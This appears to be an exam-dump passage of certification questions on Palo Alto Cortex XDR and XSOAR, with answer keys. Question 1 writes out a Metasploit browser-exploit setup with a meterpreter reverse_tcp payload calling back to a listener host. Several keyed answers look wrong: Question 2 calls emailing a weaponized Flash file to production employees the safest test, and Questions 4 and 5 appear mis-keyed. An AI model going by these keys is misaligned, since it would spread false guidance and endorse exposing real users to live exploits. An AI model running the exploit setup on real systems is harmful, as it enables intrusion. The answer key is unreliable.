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QUESTION 1

A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been
selected and a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript) 

The description and current configuration of the exploit are as follows; 

What is the remaining configuration? 

A. set PAYLOAD windows/x64/meterpreter/reverse_tcp set SSLCert survey set LHOST 10.0.0.10 

set LPORT 8080 

B. set PAYLOAD windows/x64/powershell_bind_tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey 

C. set PAYLOAD windows/x64/meterpreter/reverse_Tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH
survey 

D. set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.10 set LPORT 443 set URIPATH survey 

Correct Answer: D 

 

QUESTION 2

An administrator of a Cortex XDR protected production environment would like to test its ability to protect users from a
known flash player exploit. 

What is the safest way to do it? 
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A. The administrator should attach a copy of the weapomzed flash file to an email, send the email to a selected group of
employees, and monitor the Events tab on the Cortex XDR console 

B. The administrator should use the Cortex XDR tray icon to confirm his corporate laptop is fully protected then open the
weaponized flash file on his machine, and monitor the Events tab on the Cortex XDR console. 

C. The administrator should create a non-production Cortex XDR test environment that accurately represents the
production environment, introduce the weaponized flash file, and monitor the Events tab on the Cortex XDR console. 

D. The administrator should place a copy of the weaponized flash file on several USB drives, scatter them around the
office and monitor the Events tab on the Cortex XDR console 

Correct Answer: A 

 

QUESTION 3

Which two entities can be created as a BIOC? (Choose two.) 

A. file 

B. registry 

C. event log 

D. alert log 

Correct Answer: AB 

https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/investigation-and-response/cortex-xdr-
indicators/working-with-biocs/create-a-bioc-rule.html 

 

QUESTION 4

In an Air-Gapped environment where the Docker package was manually installed after the Cortex XSOAR installation
which action allows Cortex XSOAR to access Docker? 

A. create a "docker" group and add the "Cortex XSOAR" or "demisto" user to this group 

B. create a "Cortex XSOAR\\' or "demisto" group and add the "docker" user to this group 

C. disable the Cortex XSOAR service 

D. enable the docker service 

Correct Answer: B 

 

QUESTION 5

In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three ) 

A. alert root cause 
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B. hostname 

C. domain/workgroup membership 

D. OS 

E. presence of Flash executable 

Correct Answer: ACE 
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